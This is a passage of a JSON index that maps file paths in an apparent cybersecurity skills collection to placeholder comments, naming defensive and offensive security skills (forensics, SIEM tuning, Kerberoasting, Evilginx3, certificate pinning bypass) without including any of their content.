/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fstandards.md -->","skills/performing-endpoint-forensics-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fworkflows.md -->","skills/performing-endpoint-vulnerability-remediation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2FSKILL.md -->","skills/performing-endpoint-vulnerability-remediation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Fassets%2Ftemplate.md -->","skills/performing-endpoint-vulnerability-remediation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-vulnerability-remediation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fstandards.md -->","skills/performing-endpoint-vulnerability-remediation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fworkflows.md -->","skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2FSKILL.md -->","skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2Freferences%2Fapi-reference.md -->","skills/performing-external-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2FSKILL.md -->","skills/performing-external-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-external-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-external-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-external-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-false-positive-reduction-in-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2FSKILL.md -->","skills/performing-false-positive-reduction-in-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Fassets%2Ftemplate.md -->","skills/performing-false-positive-reduction-in-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fapi-reference.md -->","skills/performing-false-positive-reduction-in-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fstandards.md -->","skills/performing-false-positive-reduction-in-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fworkflows.md -->","skills/performing-file-carving-with-foremost/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2FSKILL.md -->","skills/performing-file-carving-with-foremost/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2Freferences%2Fapi-reference.md -->","skills/performing-firmware-extraction-with-binwalk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2FSKILL.md -->","skills/performing-firmware-extraction-with-binwalk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2Freferences%2Fapi-reference.md -->","skills/performing-firmware-malware-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2FSKILL.md -->","skills/performing-firmware-malware-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-fuzzing-with-aflplusplus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2FSKILL.md -->","skills/performing-fuzzing-with-aflplusplus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2Freferences%2Fapi-reference.md -->","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2FSKILL.md -->","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2Freferences%2Fapi-reference.md -->","skills/performing-gcp-security-assessment-with-forseti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2FSKILL.md -->","skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-depth-limit-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2FSKILL.md -->","skills/performing-graphql-depth-limit-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-introspection-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2FSKILL.md -->","skills/performing-graphql-introspection-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2FSKILL.md -->","skills/performing-graphql-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-hardware-security-module-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2FSKILL.md -->","skills/performing-hardware-security-module-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2Freferences%2Fapi-reference.md -->","skills/performing-hash-cracking-with-hashcat/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2FSKILL.md -->","skills/performing-hash-cracking-with-hashcat/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Fassets%2Ftemplate.md -->","skills/performing-hash-cracking-with-hashcat/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fapi-reference.md -->","skills/performing-hash-cracking-with-hashcat/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fstandards.md -->","skills/performing-hash-cracking-with-hashcat/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fworkflows.md -->","skills/performing-http-parameter-pollution-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2FSKILL.md -->","skills/performing-http-parameter-pollution-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2Freferences%2Fapi-reference.md -->","skills/performing-ics-asset-discovery-with-claroty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2FSKILL.md -->","skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2Freferences%2Fapi-reference.md -->","skills/performing-indicator-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2FSKILL.md -->","skills/performing-indicator-lifecycle-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Fassets%2Ftemplate.md -->","skills/performing-indicator-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/performing-indicator-lifecycle-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fstandards.md -->","skills/performing-indicator-lifecycle-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fworkflows.md -->","skills/performing-initial-access-with-evilginx3/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2FSKILL.md -->","skills/performing-initial-access-with-evilginx3/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Fassets%2Ftemplate.md -->","skills/performing-initial-access-with-evilginx3/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fapi-reference.md -->","skills/performing-initial-access-with-evilginx3/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fstandards.md -->","skills/performing-initial-access-with-evilginx3/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fworkflows.md -->","skills/performing-insider-threat-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2FSKILL.md -->","skills/performing-insider-threat-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-ioc-enrichment-automation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2FSKILL.md -->","skills/performing-ioc-enrichment-automation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2Freferences%2Fapi-reference.md -->","skills/performing-ios-app-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2FSKILL.md -->","skills/performing-ios-app-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-iot-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2FSKILL.md -->","skills/performing-iot-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ip-reputation-analysis-with-shodan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2FSKILL.md -->","skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2Freferences%2Fapi-reference.md -->","skills/performing-jwt-none-algorithm-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2FSKILL.md -->","skills/performing-jwt-none-algorithm-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2Freferences%2Fapi-reference.md -->","skills/performing-kerberoasting-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2FSKILL.md -->","skills/performing-kerberoasting-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Fassets%2Ftemplate.md -->","skills/performing-kerberoasting-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fapi-reference.md -->","skills/performing-kerberoasting-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fstandards.md -->","skills/performing-kerberoasting-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2FSKILL.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Fassets%2Ftemplate.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-etcd-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2FSKILL.md -->","skills/performing-kubernetes-etcd-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Fassets%2Ftemplate.md -->","skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-etcd-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-etcd-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2FSKILL.md -->","skills/performing-kubernetes-penetration-testing/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Fassets%2Ftemplate.md -->","skills/performing-kubernetes-penetration-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-penetration-testing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-penetration-testing/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fworkflows.md -->","skills/performing-lateral-movement-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2FSKILL.md -->","skills/performing-lateral-movement-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2Freferences%2Fapi-reference.md -->","skills/performing-lateral-movement-with-wmiexec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2FSKILL.md -->","skills/performing-lateral-movement-with-wmiexec/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Fassets%2Ftemplate.md -->","skills/performing-lateral-movement-with-wmiexec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fapi-reference.md -->","skills/performing-lateral-movement-with-wmiexec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fstandards.md -->","skills/performing-lateral-movement-with-wmiexec/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fworkflows.md -->","skills/performing-linux-log-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2FSKILL.md -->","skills/performing-linux-log-forensics-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Fassets%2Ftemplate.md -->","skills/performing-linux-log-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-linux-log-forensics-investigation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fstandards.md -->","skills/performing-linux-log-forensics-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fworkflows.md -->","skills/performing-log-analysis-for-forensic-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2FSKILL.md -->","skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-log-source-onboarding-in-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2FSKILL.md -->","skills/performing-log-source-onboarding-in-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Fassets%2Ftemplate.md -->","skills/performing-log-source-onboarding-in-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fapi-reference.md -->","skills/performing-log-source-onboarding-in-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fstandards.md -->","skills/performing-log-source-onboarding-in-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fworkflows.md -->","skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2FSKILL.md -->","skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2Freferences%2Fapi-reference.md -->","skills/performing-malware-ioc-extraction/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2FSKILL.md -->","skills/performing-malware-ioc-extraction/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Fassets%2Ftemplate.md -->","skills/performing-malware-ioc-extraction/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fapi-reference.md -->","skills/performing-malware-ioc-extraction/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fstandards.md -->","skills/performing-malware-ioc-extraction/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fworkflows.md -->","skills/performing-malware-persistence-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2FSKILL.md -->","skills/performing-malware-persistence-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-malware-triage-with-yara/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2FSKILL.md -->","skills/performing-malware-triage-with-yara/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2Freferences%2Fapi-reference.md -->","skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2FSKILL.md -->","skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Fassets%2Ftemplate.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fapi-reference.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fstandards.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fworkflows.md -->","skills/performing-memory-forensics-with-volatility3/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.es.md -->","skills/performing-memory-forensics-with-volatility3/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.md -->","skills/performing-memory-forensics-with-volatility3/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2Freferences%2Fapi-reference.md -->","skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2FSKILL.md -->","skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Fassets%2Ftemplate.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fstandards.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fworkflows.md -->","skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md":"<!-- Skill available on-demand via 